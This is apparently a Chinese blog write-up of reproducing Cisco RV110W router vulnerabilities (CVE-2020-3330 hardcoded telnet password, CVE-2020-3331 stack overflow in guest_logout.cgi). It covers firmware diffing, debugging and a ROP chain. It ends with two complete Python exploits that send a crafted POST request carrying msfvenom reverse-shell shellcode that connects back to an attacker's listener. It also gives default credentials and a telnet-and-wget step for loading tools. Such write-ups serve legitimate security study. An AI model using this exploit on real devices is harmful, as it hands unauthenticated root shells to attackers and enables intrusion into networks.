?RV110W路由器漏洞復現
被xuanxuan老師種草了~,"一定要摸真實的設備"這句話余音繞梁,終于狠下心買了一個二手的RV110W,開始我的路由器漏洞復現之路,希望能學到點東西!

0x00 開端
拿到路由器接上電源網線,電腦連接上RV100W就遇到了第一個問題,怎么進入后臺?好吧,萌新沒怎么玩過路由器,都是按照路由器背面的IP來登錄,好巧不巧,它的背面很干凈,啥都沒有,看lemon師傅的視頻看到10.10.10.1興致沖沖的去訪問,結果進了一個交換機的登錄界面,奇了怪了,后來詢問lemon師傅,要看路由器的網關IP進去,至此第一個問題順利解決,初始密碼是cisco:cisco

很順利的進入后臺,進入Administration => Firmware/Language Upgrade,看到固件的版本不對,是多少來著忘了,反正很老的一個固件,下面提供了固件的升級,我直接就拿xuanxuan老師的固件刷進去了,等了好一會,它就重啟了,再次進入就發現固件版本已經變成1.2.2.5了
[固件鏈接]https://xuanxuanblingbling.github.io/assets/attachment/RV110W_FW_1.2.2.5.bin

0x01 信息收集
到這,準備工作已經完成了!
那就開始真實環境下的漏洞復現了,首先一般我們想要找一個設備的漏洞,那得先看有什么服務吧!那么從服務很容易聯想到端口,所以最開始我們先用端口掃描
nmap -sU -sT -p0-65535 192.168.1.1

掃完了,就想看看實現,就要對固件進行解包,固件提取拿以前的一張圖來看

這里就是xuanxuan老師那邊拿的,算是互聯網搜索吧!
xuanxuan老師那說要安裝sasquatch這個組件,但是在AttifyOs那直接binwalk就開了???可能是AttifyOs的binwalk比較完整吧,不太清楚

解包完成之后,查看busybox的版本是MIPS32小端序的路由器

之后就是搜集漏洞信息
0x02 漏洞利用
CVE-2020-3330
漏洞描述
Cisco Small Business RV110W Wireless-N VPN防火墻路由器的Telnet服務中的漏洞可能允許未經身份驗證的遠程攻擊者完全控制具有高特權帳戶的設備。存在此漏洞是因為系統帳戶具有默認的靜態密碼。攻擊者可以通過使用此默認帳戶連接到受影響的系統來利用此漏洞。成功利用此漏洞可能使攻擊者獲得對受影響設備的完全控制。
也就是說遠程服務中存在弱密碼,之前掃到23端口是開著的,所以遠程服務很大可能是telnet中存在弱口令,搜索發現大多數文件都是鏈接到rc這個文件
> find . | xargs grep -ri "admin:\\\$" Binary file ./sbin/rc matches grep: ./usr/local/libexec/ipsec/setup: No such file or directory Binary file ./sbin/rc matches Binary file ./sbin/gpio_check matches Binary file ./sbin/write matches Binary file ./sbin/ca_manage matches Binary file ./sbin/ses_led matches Binary file ./sbin/ipsec_fqdn_detect matches Binary file ./sbin/sendudp matches Binary file ./sbin/check_ses_led matches Binary file ./sbin/stats matches Binary file ./sbin/ddns_update_data matches Binary file ./sbin/services matches Binary file ./sbin/restore matches Binary file ./sbin/info matches Binary file ./sbin/preinit matches Binary file ./sbin/qkvpn_rekey matches Binary file ./sbin/ipsec-up matches Binary file ./sbin/calc_vpnconn_time matches Binary file ./sbin/bootnv matches Binary file ./sbin/ipsec_wanlink matches Binary file ./sbin/usb_test matches Binary file ./sbin/icmp_echo matches Binary file ./sbin/cron_iaprule matches Binary file ./sbin/waninfo matches Binary file ./sbin/ntpd matches Binary file ./sbin/detectwan matches Binary file ./sbin/ipsec_fw matches Binary file ./sbin/ddns_success matches Binary file ./sbin/cpu_usage matches Binary file ./sbin/cron_aclrule matches Binary file ./sbin/firewall matches Binary file ./sbin/generate_md5sum matches Binary file ./sbin/init matches Binary file ./sbin/listen matches Binary file ./sbin/check_ps matches Binary file ./sbin/snmpdc matches Binary file ./sbin/process_monitor matches Binary file ./sbin/rc matches
把放到IDA里面,搜字符串定位關鍵函數

隨便翻下就有了個明文字符串,拿去解一下MD5

密碼就出來了,我們就可以通過telnet來傳gdbserver就不用拆機器了
CVE-2020-3331/CVE-2020-3323
漏洞描述
Cisco RV110W 基于Web的管理界面中的漏洞可能允許未經身份驗證的遠程攻擊者在受影響的設備上執行任意代碼。該漏洞是由于基于Web的管理界面未正確驗證用戶提供的輸入數據而引起的。攻擊者可以通過向特定設備發送精心設計的請求來利用此漏洞。成功的利用可能使攻擊者利用root用戶的特權執行任意代碼。
總結一下:
web管理界面存在漏洞- 未正確驗證用戶提供的輸入數據(猜測是棧溢出)
Diff
1.2.2.5這個固件的版本相對來說比較舊,所以一個很常用的手法就是去diff文件,拿已經修復此漏洞的固件進行diff,能夠更容易的去定位漏洞點,diff有倆常見的工具,bindiff和diaphora
bindiff
[bindiff下載鏈接]https://www.zynamics.com/software.html
選.msi下載就行,安裝路徑為IDA的主目錄,之后打開IDA在插件那邊就能看見bindiff了,把要比對的文件先打開再保存成idb文件,然后點bindiff選擇要比對的idb就能開始比對啦!
ps:user的目錄不要有中文,否則你會很不幸

8越往下滑呢!它就越有可能是目標,因為越下面就越不匹配,由于漏洞描述是前臺的洞,所以選中的那個函數有可能就是目標,這里簡單講講我認識什么的前臺什么的后臺?
前臺:與用戶進行交互的界面
后臺:對用戶隱藏的那部分數據處理與邏輯處理

查閱資料得知,每個基本塊顏色的說明:
綠色:相同的基本塊
黃色:修改的基本塊
紅色:刪掉的基本塊
灰色:新加的基本塊
可以看到guest_logout_cgi函數看起來跟web服務有點關系,右鍵view flow graphs就可以查看匯編代碼對比,找了半天才找到,就離譜
ps:千萬不要直接把兩個idb直接丟到idb,不然你會知道什么叫浪費時間(bindiff直接打開的分析速度感人

除此之外,你如果對二進制的漏洞點以及危險函數比較熟悉的話,雙擊點進去,很容易就看到這個沒有限制長度的sscanf,它將過濾掉一些字符串之后輸出流到submit_button_value,往上翻看到submit_button_value的類型為const char *,確實是存放在棧上的
sscanf(submit_button_value, "%[^;];%*[^=]=%[^]", v29, v28);
現在還不能證明可以劫持返回地址,因為MIPS的匯編還有一個特點是葉子函數的返回地址是存放在寄存器上的,往上翻其實是可以看到調用get_cgi函數,所以guest_logout_cgi并不是葉子函數,到此才能真正的證明此處確實存在棧溢出的漏洞
diaphora
吐了,老是報錯整不好了...,bindiff也能用的啦!只不過是看匯編,diaphora可以看源碼,下次再補上...
正則匹配
%[ ^;];%*[ ^=]=%[ ^]是一個正則表達式,%是代表選擇,%*是過濾
%[^;]:分號前的所有字符都要;%*[^=]:分號后,等號前的字符都不要=%[^]:等號后,換行符前的所有字符都要
看不是很懂,那就上個demo吧!
#include
int main(void){
char var1[5] = "aaa";
char var2[5] = "bbb";
char var3[5] = "ccc";
const char welcome[100] = "wElc0me t= reGuIar @xpr&ss!0n w0rld;";
sscanf(welcome,"%[^;];%*[^=]=%[^]", var1, var2, var3);
printf("%s%s%s",var1,var2,var3);
return 0;
}
我們看到運行結果就容易理解一些了:

接下來就是去構造惡意的數據包,那如何去構造一個數據包呢?在前面可以知道這是web端(80端口)的服務,與它通信的協議肯定是http或者是https,所以我們肯定是去構造http的包,學過tcp/ip都知道,http的包是包含方法字段,URL,首部行以及實體的,但是這樣太麻煩了,python集成了一個庫叫[requests]https://pypi.org/project/requests/,我們只需要構造好相應的參數就可以用它來進行發包了,具體的請求方式可以參考下面的鏈接:
[requests請求方式]https://blog.csdn.net/u013210620/article/details/80230467
[快速上手— Requests 2.18.1 文檔]https://docs.python-requests.org/zh_CN/latest/user/quickstart.html
回到剛剛sscanf溢出,回溯一下到底怎么樣才能到底這個分支,想要到達這個分支需要繞過下面四個判斷:
if ( !submit_button_value )
submit_button_value = "";
if ( cmac_value && cip_value )
{
...
}
if ( VERIFY_MAC_17(cmac_value) && VERIFY_IPv4(cip_value) )
{
if ( !strstr(submit_button_value, "status_guestnet.asp") )
...
提取一下里面的信息:
- 一共有三個字段,分別是
cmac,cip,submit_button cmac,cip的值合法get_cgi("submit_button")不能為空,并且submit_button_value需要包含status_guestnet.asp
但是格式呢?雖然下面出現一些格式,但是經過測試,這三個字段的順序似乎沒有什么關系,因為前面是通過傳入指定字符串之后調用get_cgi(),所以就沒有必要特別關注他們的順序了
fprintf(console, " mac=[%s], ip=[%s],submit_button=[%s]", cmac_value, cip_value, submit_button_value);
逆向出這些信息之后,就可以來構造包了cmac,cip只需要填入正常的mac地址和ip地址,submit_button就是我們的溢出目標,在加上必須要包含的字符串status_guestnet.asp就可以加上溢出的字符串了,這里用的是cyclic生成的字符串,因為便于后面測試溢出長度,URL在登錄的時候為"https://192.168.1.1/login.cgi",并且在下面看到下面的內容:
fprintf( v17, "%s(%d),submit_button = [%s] url=[%s], session_id=[%s]", "guest_logout_cgi", 5449, submit_button_value, v29, v28);
所以就猜測為"https://192.168.1.1/guest_logout.cgi",由于是通過http來提交表單,所以就存在用什么方法字段來包,我們就不搞這么麻煩了,兩個都試試,發送GET報文發現并沒有什么事情發生(web頁面沒有崩潰)
import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","cip":"192.168.1.100","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'}
requests.get(url, data=payload, verify=False, timeout=1)
但是發送方法字段為POST報文的時候,發現web頁面在瘋狂轉圈圈,就是崩了
import requests
url = "https://192.168.1.1/guest_logout.cgi"
payload = {"cmac":"12:af:aa:bb:cc:dd","cip":"192.168.1.100","submit_button":"status_guestnet.asp"+'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'}
requests.post(url, data=payload, verify=False, timeout=1)

確定溢出偏移
崩了就意味著,有漏洞點的存在,那接下來就是調試的事情了,用的是海特實驗室的gdbserver,其實還有一個是gef開發者編譯的gdbserver
[海特實驗室 IOT_Wiki]https://github.com/DasSecurity-HatLab/HatLab_IOT_Wiki
[gef author]https://github.com/hugsy/gdb-static
啟動一個窗口起一個簡單的http服務器
python2:
? python -m SimpleHTTPServer 8080
python3:
? python -m http.server 8080
ps:建議啟動瀏覽器復制鏈接,真的好用!

再啟動一個窗口telnet連接上路由器用wget(路由器里面自帶的)掛上gdbserver,就可以遠程調試了
? telnet 192.168.1.1 ? cd tmp ? wget "http://192.168.181.178:8080/home/laohu/Desktop/gdbserver" ? chmod +x gdbserver ? ps | grep "httpd" ? ./gdbserver :1234 --attach 356#看httpd -S的進程號,另一個好像調試不了

傳進去之后,惡夢才剛剛開始....我根本想不到這問題出在哪里!嘗試換終端(改成dash),換架構(在樹莓派上嘗試),換目錄(換到data目錄)之后,終于摸索到了關鍵原因----gdbserver本身,各位大師傅們的gdbserver為gdbserver-7.12-mipsel-mips32rel2-v1-sysv ,我死活用不了,我嘗試甚至在我朋友上的電腦上嘗試都不行,可能大師傅們的電腦是MacOS吧,咱也不知道,咱也不敢問,我最后在換到gdbserver-7.12-mipsel-i-v1-sysv之后,終于可以使用了!

終于...下一個錯誤來了,gdb-mutilarch進行遠程調試的時候,remote上去的時候斷不下來,報下面這個錯,看到下面capstone好像出現了問題,懷疑是版本過低,重新安裝pwntools解決問題
[5年了...Capstone 終于升級到4.0!]https://blog.csdn.net/weixin_33674976/article/details/85219451
[解決方法]https://blog.csdn.net/zhr12321/article/details/116742894

此處,終于看到調試界面了,淚目!!!

來來來,問題怪又來了...,按照大師傅們的做法,按下c之后,輸入cyclic 200生成的字符串,就會崩掉,并看到PC寄存器被覆蓋...但我...沒反應啊!

解決辦法就是先在sscanf之前下斷點(后面測試其實不用下斷點也是一樣的,然后再c,接著用exp打一下,就斷下來了,原因是因為我們本身就是attach上httpd這個進程,所以這個進程本身還在運行,如果我們打了斷點并用exp打過去的話,它就會按照以往正常的業務邏輯去執行,但是再執行的過程中被中斷了,所以...就斷了下來,再往下走的,我們就能看到PC寄存器被覆蓋了!接下來就是常規操作用cyclic -l來計算偏移

確定好溢出的長度就可以開始利用了,基本上都是ROP+shellcode的形式,那么現在就是生成shellcode和泄露libc獲取gadget的問題了,如果不是很熟悉可以看看《MIPS PWN入門》
shellcode
shellcode一般來說可以使用以下四種方式獲取:
- msfvenom
- shell-storm
- pwntools
- 自己編寫(簡單的
shellcode還是可以寫寫的)
其他都有試過,msf還沒試過這里記錄一下...msf支持好多版本的shellcode,有點香!

用下面的命令就能生成,注意IP和端口匹配:
? msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=192.168.1.100 LPORT=8888 --arch mipsle --platform linux -f py -o shellcode.py
可以看到shellcode中并沒有'\x00'也就是不存在截斷問題,很不錯
shellcode = b"" shellcode += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd" shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01" shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f" shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c" shellcode += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0" shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff" shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01" shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f" shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff" shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff" shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf" shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf" shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc" shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01" shellcode += b"\x01\x01"
總的來說還是:msf更方便好用,并且非常穩。shell-storm找到的種類多,不過偶爾需要手動修改。最后對于真實設備的利用上pwntools會有很多的問題,所以這里不推薦使用pwntools生成shellcode
shell-storm里面的shellcode也是能用的,不過需要修改IP地址
[200 byte Linux MIPS reverse shell shellcode by Jacob Holcomb]http://shell-storm.org/shellcode/files/shellcode-860.php
ROP
既然要ROP,那必然要泄露libc,但是在大部分IOT設備中,地址隨機化是不會變化的,包括這個設備,所以在maps中加載的libc地址就是它一直使用的libc地址,無論是重啟還是換固件版本甚至在RV130中,libc的基地址都一樣,這就省去了很多步驟,下面引用xuanxuan老師的一段話:
問了常老師,再次猜測可能是為了效率,編譯的時候就把內核的這個功能干掉了,或者當前平臺壓根就不支持這個功能。先存疑,總之我們發現動態庫的基址都是不變的,故我們可以使用程序加載的動態庫中的gadget。? cat /proc/356/maps

可以看到很多libc,而libc.so.0的基地址是2af98000
得到了libc基地址,只讓是尋找一些可用的gadget,我們使用IDA的插件----mipsrop,由于安裝的時候發現,它對IDA 7.5不是很支持,所以還是出了一些小問題,這里記錄一下...
[解決IDA 無法安裝mipsrop插件]https://www.jianshu.com/p/0f5923fac8d4
[IDA 無法安裝mipsrop插件]https://bbs.pediy.com/thread-266102.htm
安裝成功后呢,在search中就能看到mips rop gadgets,點擊之后加載了mipsrop插件了

可以用mipsrop.help()查看mipsrop的一些常用命令
[mipsrop常用命令]https://www.cnblogs.com/hac425/p/9416864.html

在上面的程序加載了很多動態鏈接庫,但是卻唯獨選擇了**/lib/libc.so.0**這個動態鏈接庫來尋找gadget,為啥呢?估計是比較熟悉吧!
用mipsrop.stackfinders()來尋找一些gadget,這些gadget都是和棧($sp)相關的:
Python>mipsrop.stackfinders()
---------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------------
| 0x0000BA84 | addiu $a1,$sp,0x158+var_A0 | jalr $s0 |
| 0x00011918 | addiu $a2,$sp,0x68+var_40 | jalr $s1 |
| 0x000250A8 | addiu $s0,$sp,0x278+var_250 | jalr $fp |
| 0x000257A0 | addiu $a0,$sp,0x38+var_20 | jalr $s0 |
| 0x00025CAC | addiu $a0,$sp,0x38+var_20 | jalr $s3 |
| 0x0002747C | addiu $a0,$sp,0x38+var_20 | jalr $s3 |
| 0x0002CC00 | addiu $a0,$sp,0x38+var_10 | jalr $s0 |
| 0x0002CC08 | addiu $a0,$sp,0x38+var_10 | jalr $s1 |
| 0x00035DF4 | addiu $a1,$sp,0x20+var_8 | jalr $s1 |
| 0x0003D050 | addiu $a0,$sp,0x30+var_18 | jalr $a0 |
| 0x000427A8 | addiu $s0,$sp,0xB8+var_98 | jalr $s6 |
| 0x00042E04 | addiu $v1,$sp,0xF0+var_D0 | jalr $s1 |
| 0x0000D45C | addiu $a0,$sp,0x98+var_80 | jr 0x98+var_s4($sp) |
| 0x0000ED70 | addiu $a1,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x0001D5FC | addiu $a3,$sp,0x28+var_8 | jr 0x28+var_s0($sp) |
| 0x00020100 | addiu $a0,$sp,0x28+var_10 | jr 0x28+var_s0($sp) |
| 0x0002C060 | addiu $a0,$sp,0x70+var_58 | jr 0x70+var_sC($sp) |
| 0x0002F800 | addiu $a1,$sp,0x50+var_38 | jr 0x50+var_s0($sp) |
| 0x00030434 | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_s10($sp) |
| 0x00039948 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x000399A0 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x000399F8 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039A50 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039A90 | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039AFC | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x00039B5C | addiu $a1,$sp,0x48+var_30 | jr 0x48+var_s0($sp) |
| 0x0003A844 | addiu $a0,$sp,0x50+var_38 | jr 0x50+var_4($sp) |
| 0x0003D05C | addiu $a0,$sp,0x30+var_18 | jr 0x30+var_s0($sp) |
| 0x0004BAA8 | addiu $a1,$sp,0x3020+var_1008 | jr 0x3020+var_s24($sp) |
| 0x0004D314 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x0004D484 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
| 0x0004D8E4 | addiu $a2,$sp,0x20+var_8 | jr 0x20+var_s0($sp) |
---------------------------------------------------------------------------------------------------------
Found 32 matching gadgets
Python>mipsrop.find("mov $t9,$a0")
---------------------------------------------------------------------------------------------------------
| Address | Action | Control Jump |
---------------------------------------------------------------------------------------------------------
| 0x0003D050 | move $t9,$a0 | jalr $a0 |
---------------------------------------------------------------------------------------------------------
Found 1 matching gadgets
找到兩條可用的gadget:
| 0x000257A0 | addiu $a0,$sp,0x38+var_20 | jalr $s0 | | 0x0003D050 | move $t9,$a0 | jalr $a0 |
算一下溢出到$s0的偏移0x55-0xe4+0xc0 = 0x31(49),其實可以直接用cyclic來計算到$s0的偏移,因為在之前溢出中可以看到$s0被溢出成了'aaan'
? cyclic -l 'aaan' 49

再看看shellcode的偏移,暫時還不會在ghidra上用mipsrop的插件,就用了個笨辦法,在IDA上先找gadget然后,再來ghidra看偏移,可以看到我們shellcode的偏移為0x18,至此,所有的準備工作已經完成!!!

再啟動一個終端,監聽shellcode中回連的端口,等待反彈shell
完整exp
import requests
from pwn import *
context(arch='mips',endian='little',os='linux')
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
shellcode = b""
shellcode += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
shellcode += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
shellcode += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
shellcode += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
shellcode += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
shellcode += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
shellcode += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
shellcode += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
shellcode += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
shellcode += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
shellcode += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
shellcode += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
shellcode += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
shellcode += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
shellcode += b"\x01\x01"
pd1 = "status_guestnet.asp" + 'a' * 0x31 + p32(jmp_a0) + 'b' * (85 - 0x31 - 4) + p32(jmp_s0) + 'c' * 0x18 + shellcode
url = "https://192.168.1.1/guest_logout.cgi"
pd2 = {
"cmac": "12:af:aa:bb:cc:dd",
"submit_button": pd1,
"cip": "192.168.1.100"
}
requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False, timeout=1)
監聽的終端已經看到反彈shell了,淚目~

exp的另一種寫法,加入pwntools的wait_for_connection模塊來實現的,這樣就不用開多一個終端監聽:
from pwn import *
import thread,requests
context(arch='mips',endian='little',os='linux')
libc = 0x2af98000
jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0
jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0
#LHOST=192.168.1.101 LPORT=8888
buf = b""
buf += b"\xfa\xff\x0f\x24\x27\x78\xe0\x01\xfd\xff\xe4\x21\xfd"
buf += b"\xff\xe5\x21\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x01"
buf += b"\x01\x01\xff\xff\xa2\xaf\xff\xff\xa4\x8f\xfd\xff\x0f"
buf += b"\x34\x27\x78\xe0\x01\xe2\xff\xaf\xaf\x22\xb8\x0e\x3c"
buf += b"\x22\xb8\xce\x35\xe4\xff\xae\xaf\x01\x65\x0e\x3c\xc0"
buf += b"\xa8\xce\x35\xe6\xff\xae\xaf\xe2\xff\xa5\x27\xef\xff"
buf += b"\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24\x0c\x01\x01"
buf += b"\x01\xfd\xff\x11\x24\x27\x88\x20\x02\xff\xff\xa4\x8f"
buf += b"\x21\x28\x20\x02\xdf\x0f\x02\x24\x0c\x01\x01\x01\xff"
buf += b"\xff\x10\x24\xff\xff\x31\x22\xfa\xff\x30\x16\xff\xff"
buf += b"\x06\x28\x62\x69\x0f\x3c\x2f\x2f\xef\x35\xec\xff\xaf"
buf += b"\xaf\x73\x68\x0e\x3c\x6e\x2f\xce\x35\xf0\xff\xae\xaf"
buf += b"\xf4\xff\xa0\xaf\xec\xff\xa4\x27\xf8\xff\xa4\xaf\xfc"
buf += b"\xff\xa0\xaf\xf8\xff\xa5\x27\xab\x0f\x02\x24\x0c\x01"
buf += b"\x01\x01"
url = "https://192.168.1.1/guest_logout.cgi"
pd1 = "status_guestnet.asp"+'a'*49+p32(jmp_a0)+'b'*(85-49-4)+p32(jmp_s0)+'c'*0x18+buf
pd2 = {"cmac":"12:af:aa:bb:cc:dd","submit_button":pd1,"cip":"192.168.1.100"}
def attack():
try:
requests.packages.urllib3.disable_warnings()
requests.post(url, data=pd2, verify=False,timeout=1)
except:
pass
io = listen(8888)
#創建一個TCP或UDP套接字以接收數據
thread.start_new_thread(attack,())
#開始一個新的線程,從attack函數開始運行
io.wait_for_connection()
#阻塞直到建立連接
log.success("getshell")
io.interactive()
0x03 總結
被xuanxuan老師帶坑的第一個真實的IOT設備,復現之路異常坎坷,但不管怎么樣最終還是復現出來了,學到不少知識,不過還有一些細節問題還沒解決,后面慢慢看吧!加油,路還很長,任重而道遠!通過之前的復現,思考到底如何對一個新設備進行漏洞挖掘,我認為在IOT設備中的漏洞挖掘的基本思路:信息收集(掃描端口,查看是否有特殊的接口)-> 提取固件(shell打包,互聯網搜索,編程器提取) -> 逆向分析固件(從服務和端口來入手分析,從常見的漏洞點來看,比如MQTT,WEB服務等等,用fuzz固件的方式定位危險函數進而分析) -> 漏洞測試,下面的文章的分析思路還是很清楚的可以參考學習學習:
[海康螢石智能門鎖的網關分析]https://bbs.pediy.com/thread-261679-1.htm
0x04 參考文章
[思科路由器 RV110W CVE-2020-3331 漏洞復現]https://xuanxuanblingbling.github.io/iot/2020/10/26/rv110w/
[360代碼衛士幫助思科公司修復多個產品高危安全漏洞(附詳細技術分析)]https://www.anquanke.com/post/id/159183
[強網杯2020決賽 Cisco RV110W路由器復現]https://la13x.github.io/2021/08/31/Real-World-Cisco-RV110W/#%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98
[思科路由器RV110W-CVE-2020-3331/CVE-2020-3323漏洞復現]https://xiaoxin.zone/2021/02/06/si-ke-lu-you-qi-rv110w-cve-2020-3331-cve-2020-3323-lou-dong-fu-xian/